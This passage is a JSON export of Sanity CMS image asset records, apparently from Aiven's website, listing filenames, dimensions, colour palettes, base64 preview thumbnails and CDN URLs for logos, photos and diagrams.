ty.imagePaletteSwatch","background":"#bc948c","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5132d","foreground":"#fff","population":0.61,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-supermetrics.png","path":"images/sczeoy4w/production/23003fdfdf4f0b3a9ff87d092bb14d2ae97fb177-800x182.png","sha1hash":"23003fdfdf4f0b3a9ff87d092bb14d2ae97fb177","size":16568,"uploadId":"Bf1Z0Hk8aTkb4UNBoSBTSkQiZ6asu4OK","url":"https://cdn.sanity.io/images/sczeoy4w/production/23003fdfdf4f0b3a9ff87d092bb14d2ae97fb177-800x182.png"} {"_createdAt":"2024-03-11T14:46:18Z","_id":"image-2325bce0bb6803b173115149a6b9b6f1c582561a-800x800-jpg","_rev":"YZDTfZCd9Sx4xq41jctIH6","_type":"sanity.imageAsset","_updatedAt":"2024-03-11T14:46:18Z","assetId":"2325bce0bb6803b173115149a6b9b6f1c582561a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eNFP1q8D.7pbjFy?7FJUbvixY4rXr@v~aKTcw]R-slI;E}R+$%fiIp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcGAwT/xAAkEAABBAICAQQDAAAAAAAAAAABAAIDBAURBhJRByJBcRMxMv/EABgBAAMBAQAAAAAAAAAAAAAAAAMEBQAG/8QAIxEAAQMDAwUBAAAAAAAAAAAAAQACAwQFESExYRMicYGRof/aAAwDAQACEQMRAD8A457IOxuOksEgAnqz7XqwV6PCXKM9ctmt3oT392/d8ELO+oddw4k18xLXmTTRtZKCCbDXOO3m3XSOewHoT/A3rSC+cPdodNfaQslqbS04dIzudg8hWOxZNiT8luzI2Y/seEUw5BLZGWnEtiRzt72PCIYlnxuuuIt4OCf1PUsvqcWxLGSPcOxO3u2SVOYb07ywvf26kdd/H0iLUoBj+qdWEiYgcK1WYIp2VpZGAvfAwk+TpERJBzsbqRUgdV3lf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e4036","foreground":"#fff","population":6.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#11a485","foreground":"#fff","population":0.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#12b999","foreground":"#fff","population":7.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1c0ba","foreground":"#000","population":2.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efb683","foreground":"#000","population":0.93,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5ca46c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#12b999","foreground":"#fff","population":7.94,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"1696127846719 - Nancy Chauhan.jpeg","path":"images/sczeoy4w/production/2325bce0bb6803b173115149a6b9b6f1c582561a-800x800.jpg","sha1hash":"2325bce0bb6803b173115149a6b9b6f1c582561a","size":127218,"uploadId":"qc0D3MkF1CXdRKroq8Tj8RB01b91rMTE","url":"https://cdn.sanity.io/images/sczeoy4w/production/2325bce0bb6803b173115149a6b9b6f1c582561a-800x800.jpg"} {"_createdAt":"2023-01-24T09:43:35Z","_id":"image-2337e3a2d540d927216765a7590fadbc4afbc9f5-1500x597-png","_rev":"7aZRizEs9TRA92eUWCoqjA","_type":"sanity.imageAsset","_updatedAt":"2023-01-24T09:43:35Z","assetId":"2337e3a2d540d927216765a7590fadbc4afbc9f5","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.512562814070352,"height":597,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABhUlEQVQYlTXRy26bQACFYd7/QdpNuqsjtVKjtFEs2bEJATsYGzAYmGHuM8DAADau3DTSp7M4299S+qr0VTa3/Wf6wNSIWM/UKD8fpSdRX/Ky2YUkSgURg6X0VLVTpW9EfaFyxNwgagBuM9gA3CJmbrihchT1GZbVLij2MaNytNJCnQqZAwlxjXmfw+7o09jFSVplqEuBjg8icvExkoD0XPUc4aPvh2FOZW/9ngcPf94fn95XdhylYuvT5SxY3nnOCoSnxg/l6jFZ3Hn2U3pIa8pagVAR7bMk59JYtntarOPlOvK2p+CAnufx/bfX2deXh187Z1Mu7ezHd2/25eXn/cZxc1RKgkWeU1AqrkaLSkN4R3hHeQvKyg+Q4xZrJ194wNmTzQ7Zb/n6NXPesiiEFCtM2wxqSDpeXayqvf6nJ1GdmRq4GqAYbNjNk3qfVUXZQKQhagiphTRUDgA3EGumRuuz0EewSTa3JKSetnRcFd2x1Ih2mBnMDOFG1GfCTZLRJKOYd38BRv+xn2w0Y7oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33365c","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f1344","foreground":"#fff","population":1.81,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0f1344","foreground":"#fff","population":1.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cbdcd","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#96e0f8","foreground":"#000","population":0.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#575a8d","foreground":"#fff","population":0.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7020","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logging-architecture.png","path":"images/sczeoy4w/production/2337e3a2d540d927216765a7590fadbc4afbc9f5-1500x597.png","sha1hash":"2337e3a2d540d927216765a7590fadbc4afbc9f5","size":74610,"uploadId":"fGoDMKgr6ehw3tWU20wlMdfuSYuHt6Q1","url":"https://cdn.sanity.io/images/sczeoy4w/production/2337e3a2d540d927216765a7590fadbc4afbc9f5-1500x597.png"} {"_createdAt":"2022-06-30T19:56:41Z","_id":"image-236e21735f459886b0039f22976142fa6019b27e-1500x642-png","_rev":"CK1sLU2mnwa3vmbYWEbBc0","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:58Z","assetId":"236e21735f459886b0039f22976142fa6019b27e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M14U{G?vozRjIU-AROoeoexu-;bHWBj?WA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.336448598130841,"height":642,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABCklEQVQYlXWRSY7CMBAA8wWG4Cwktnu3nUwWEP//2iiAOIxEqdSHlqovXeVky++kQtGPwmhC2WRKpoQEkRBUmBGEUAgRAsZAEJNIUq1MOSdLJiZcks1TmUtJpkLICEwgjJ+YEV4KkRBWppLMppKnUpZ5vm37uizJlImY8Dm/iZXwG8JjJcxECDEE74P33o9+HL5ZEQuIYsqsighjGPqhv77pm8Zd6vqbFUSIarrt07rmnCOGru+atn1Z1/XPP06nj5UffVSz/T6tW84Fia7XoeuO3jVt0zTOuYtzrjlwztXn49zpSeXHMaql22O5P9Ztz7+LlknNgGmIEAEihCFGDwjHp2Boh8u5fsV/t4Y71PrsgK0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54442c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24643c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#668b8c","foreground":"#fff","population":0.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9b4bc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ddbb4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#668b8c","foreground":"#fff","population":0.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#43bb70","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"236e21735f459886b0039f22976142fa6019b27e-1500x642.png","path":"images/sczeoy4w/production/236e21735f459886b0039f22976142fa6019b27e-1500x642.png","sha1hash":"236e21735f459886b0039f22976142fa6019b27e","size":46685,"uploadId":"hgp2zx57m6JotEEjanHI7zUlqCU9Ud9p","url":"https://cdn.sanity.io/images/sczeoy4w/production/236e21735f459886b0039f22976142fa6019b27e-1500x642.png"} {"_createdAt":"2022-06-30T19:58:37Z","_id":"image-237078fb9c0c977005d56a04a6f617db424f6491-151x41-png","_rev":"CK1sLU2mnwa3vmbYWEc1WW","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:19Z","assetId":"237078fb9c0c977005d56a04a6f617db424f6491","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DDTOd{xnlowcc@{efkbbjZbb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.682926829268293,"height":41,"width":151},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAABCklEQVQYlR3LvU7CUBgG4N4bsa2bGlMCMYKlnFPaiA4KLT+nBS0aNQ4krg6MBRdj/Y24uHoPGgdvot/7GZo866NhdoGjTbgleCakDqGjacLWsbeGuo66ido67xhcNbhicNlgy+SNEte2eXql4TZBaCGwcCIQOxgJjFtQAn0boY2BxNBHKLkrOHA58PjY5YbFTgXXZxpm5+iX0dlCtIuojpGDsUQsMGggqBVfoCe4J7nvszrg0OemxbKK6aWG5ZxuupQ0aNKkRNLEpaRFpx6NWxRLUpIil5RHyoPaR3yIYRsdiSTE/ULjv2/6Wubvi/wtXXlN85fCc+Gp8LhCWUrZnB7mlN3R5wf//vwDRGzEzHfySZAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#961502","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#821202","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c44","foreground":"#fff","population":6.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#f5ecf2","foreground":"#000","population":0.58,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5f4c","foreground":"#fff","population":6.53,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#961502","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c44","foreground":"#fff","population":6.85,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"237078fb9c0c977005d56a04a6f617db424f6491-151x41.png","path":"images/sczeoy4w/production/237078fb9c0c977005d56a04a6f617db424f6491-151x41.png","sha1hash":"237078fb9c0c977005d56a04a6f617db424f6491","size":3433,"uploadId":"HMmspQGswwmUinnGW5uBapxTuEmKlBkv","url":"https://cdn.sanity.io/images/sczeoy4w/production/237078fb9c0c977005d56a04a6f617db424f6491-151x41.png"} {"_createdAt":"2022-07-06T08:12:06Z","_id":"image-2374ddc8256c5a07aa6741102893aa4dc9e75f19-64x64-svg","_rev":"0HOthdQkSgJdYc0CAX5RpE","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:20:49Z","altText":"Aiven for M3 Aggregator logo","assetId":"2374ddc8256c5a07aa6741102893aa4dc9e75f19","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#192c39","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04487c","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#247ec1","foreground":"#fff","population":8.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcb4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7cb6e4","foreground":"#000","population":0.61,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c91af","foreground":"#fff","population":1.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#247ec1","foreground":"#fff","population":8.62,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-m3-arigator.svg","path":"images/sczeoy4w/production/2374ddc8256c5a07aa6741102893aa4dc9e75f19-64x64.svg","sha1hash":"2374ddc8256c5a07aa6741102893aa4dc9e75f19","size":2557,"title":"Aiven for M3 Aggregator logo","uploadId":"DDVjLNXlP7MRN2C4bUyGtErEqlEMRwnu","url":"https://cdn.sanity.io/images/sczeoy4w/production/2374ddc8256c5a07aa6741102893aa4dc9e75f19-64x64.svg"} {"_createdAt":"2024-04-03T10:08:53Z","_id":"image-23787dee661f77ac998f226b60227064fbb77cc6-1200x628-png","_rev":"9k1srJVIAf7BJJgtqkNZRj","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T10:08:53Z","assetId":"23787dee661f77ac998f226b60227064fbb77cc6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9C6ZZ0COf}[IM~pE6%MRi9a1A-h+qE.K9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACu0lEQVQokVXOz09aBwDA8XfaYU1MVwYKPmA8LLWCdOBaaweioQKtLeB7Kj8UUqRPBeWHIJ3OSh0EiazYX1l1adpmW5otO5gmW7YsO+7QS9NL/6DvDj0s+wc++Qi95iTOi3k8/hq+wDbeqR18gXtMBBt4/A08V9tE4i9Qi3+xVPiHcOI1SmyH/XqKk+cqv71c4dejBZpbs0SiWYR+aZFL3jLBm7vcUBrckFtci7QIhttMhlpc9H7Dl/77hOd/Ipo4IRA9Yiausruj8OooxcmzFD8+nme7GkRWJhFEa5rR8Q1C4TozsX3k+AGhSAvv1B6usbsMOGoMf17jun+XxUiTWKRMPDFNrRbi2aMEP3+/wHF3ls2Sj4WEE0FvTuBwLTPmqzAR/JrxwF0uebc576ogDhQxSEUuu3JUorc4VpN0s1FKmQm+2gzRbc/zsD3HQSNKrTTJasaNoNPLSNY4g8NZ7O41zrsKnB0uYLKtoTPnMUjrXLui8lyVeVcP8ufWFJ1KmE4zw6PObTrNJN1Wmv16ku3yNIJGF8VonMViS2O1L2O15zCfy6GXVtGa84jWdaLjt3m1HudtQ+FkK8bhzipPD+9w3M3z3cESTzurPPm2wv7eGsJprYxWr9BrTNBnSdNnyaAzZ9GaVLSmHAapgGe0QjW1x2H1IfVCm8pakTvFJJsrITaX/VTUANX8PNVyFuETnYxoULBISUy2DL2fZTjTn0EjfgD7LCXsI01uzv1CrvyGXOk1inIL35VBxkYMjLr7cDt0fHHBhM/rRDijm0ESZQZtKQbsKgZrFo34H6iXNnBevs/M4h/kau9ZKf7O9ekEFxwitnOnkc6ewiB+hLH/FMNDeoQerYymV0HbH0NrXEAjpv83NFg3cHseEF/6m+XyW2LpHwgE5hhxWRlyfIptqAez5WPMph6cDiP/AhFqiI54z1uTAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#392c60","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04186c","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#af965c","foreground":"#000","population":8.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8bea1","foreground":"#000","population":2.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f09142","foreground":"#000","population":2.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af965c","foreground":"#000","population":8.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd771f","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"London dinner 24 April - meta photo.png","path":"images/sczeoy4w/production/23787dee661f77ac998f226b60227064fbb77cc6-1200x628.png","sha1hash":"23787dee661f77ac998f226b60227064fbb77cc6","size":669362,"uploadId":"JhpCSRJN48VUe25Rhuy6Y6IMT35993DI","url":"https://cdn.sanity.io/images/sczeoy4w/production/23787dee661f77ac998f226b60227064fbb77cc6-1200x628.png"} {"_createdAt":"2023-03-30T17:02:23Z","_id":"image-239692b4663dca330479d9ccacf255277b9ac1da-1280x720-png","_rev":"IfootSjA4c56MZIbwJ5vxU","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:23Z","assetId":"239692b4663dca330479d9ccacf255277b9ac1da","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABUUlEQVQokYVSybLcIAz0/39mDql5mM0IAVqQU+DJvCSXdOkAgqZFS4eqKsscNDvJEBGV/0NFdM55mJmp6uAOA4FGJ0QEqAC1FHgCoPY+VBdhY5HM7LA5rTcuNUWMuQO0EKJz3jn/ernXy319Oed8zhdia62PsV65Nw5TsQqcU04lFwRAH6I7/enDefrzDN6HEGKMOcacUgaozGxmm2zzFp6jMxSqMFrfZdYl0/rGWNFGa721TsSq862sOpdnIpPJhKeqrL3+9Tkz+17eHxyIULeOiKwTu2/9vrqumP2buT/k6ycUj4gP2WQKDGk0t/iSZJWyMrrb8yf/wPyjXq41ZJZV8+B6XsXnutrTV0s7VffOICLR261FhhJzjqWU1jozCwsUiCGldNVaiXbmghRSzlcp0PuY87dhg+ixcQx65oZYHoeZ5TGOmPsgImJe4/VR/gWrhYAWPJjZxQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c246c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8abbf","foreground":"#000","population":0.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8abbf","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91edf9","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab618e","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2cf49","foreground":"#000","population":0.14,"title":"#000"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-list-integrations.png","path":"images/sczeoy4w/production/239692b4663dca330479d9ccacf255277b9ac1da-1280x720.png","sha1hash":"239692b4663dca330479d9ccacf255277b9ac1da","size":37753,"uploadId":"UfrHhrbf5nfI37QA1iQYujef5beZsAXE","url":"https://cdn.sanity.io/images/sczeoy4w/production/239692b4663dca330479d9ccacf255277b9ac1da-1280x720.png"} {"_createdAt":"2024-08-09T12:02:17Z","_id":"image-241d406e2bca222aba7ba92bb2f4232654afa77e-1280x720-jpg","_rev":"BVM0UzymoPXcfHGeYlUEpx","_type":"sanity.imageAsset","_updatedAt":"2024-08-09T12:02:17Z","assetId":"241d406e2bca222aba7ba92bb2f4232654afa77e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGD[-R^O_2$y^+-;v|$fogNd~pxuW=V[wu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgAEB//EACQQAAEDAwQBBQAAAAAAAAAAAAIBAwQABhEFEhMhYRQxUXGh/8QAFgEBAQEAAAAAAAAAAAAAAAAABAIF/8QAHhEAAQQBBQAAAAAAAAAAAAAAAQACAwQREhMhMUH/2gAMAwEAAhEDEQA/ABF43AXq5DZzXgwZYwvmielvPSkmFLkPqW3LC71xmunXDbmkyNSc5oYHgyXsi+fuiVwtAxzR2QEGQFNoontWjHitGGs7KVLLvkk+LXZr85dJJXHnSXlLtF8JVSGxmGwt5lBBEySqv5VUPvDUeEQVHEZyv//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f2851","foreground":"#fff","population":7.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040561","foreground":"#fff","population":6.82,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4f2851","foreground":"#fff","population":7.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b98a7f","foreground":"#000","population":2.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8a690","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b05f58","foreground":"#fff","population":2.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c44f27","foreground":"#fff","population":3.91,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"podcast9-aiven-vision.jpg","path":"images/sczeoy4w/production/241d406e2bca222aba7ba92bb2f4232654afa77e-1280x720.jpg","sha1hash":"241d406e2bca222aba7ba92bb2f4232654afa77e","size":146410,"uploadId":"HxehTFDgoQFg3u4KOOnJXshsi9a0dU2x","url":"https://cdn.sanity.io/images/sczeoy4w/production/241d406e2bca222aba7ba92bb2f4232654afa77e-1280x720.jpg"} {"_createdAt":"2022-06-16T22:54:02Z","_id":"image-24243b6af11f6ac6d8d07c329de09e902cfe8173-595x97-svg","_rev":"0HOthdQkSgJdYc0C9vxWRH","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:02Z","assetId":"24243b6af11f6ac6d8d07c329de09e902cfe8173","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4|5Q9}tpo%axac","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.134020618556701,"height":97,"width":595},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA1ElEQVQImS3MPU4CURSA0e+9gSFRjIUhBiwlRGMjFoZCpwDGyXgZI0F+pLDRwspopZTauACvsiZXQOsiuMZYGQnFaQ+idiZqA1EbL7zNk2z6G0WTz8ZaZa8FjIELIF46X2rjfDMsbiSF9XLqgnwfeEDU7kRtImr3onYrOr/qfPwMmy+zuLTbjnwQdl2Q74E7BUbADTAAUqDrfNB3PjcEdw08/ofPovYkaiNRS0Ut67x/p/Hr18HW4WV1dbNWXylt7/tcuANEQALUgRrQAI6BI+AEyP4Ay9s6qduhOUQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#283554","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#093486","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#283554","foreground":"#fff","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#09368f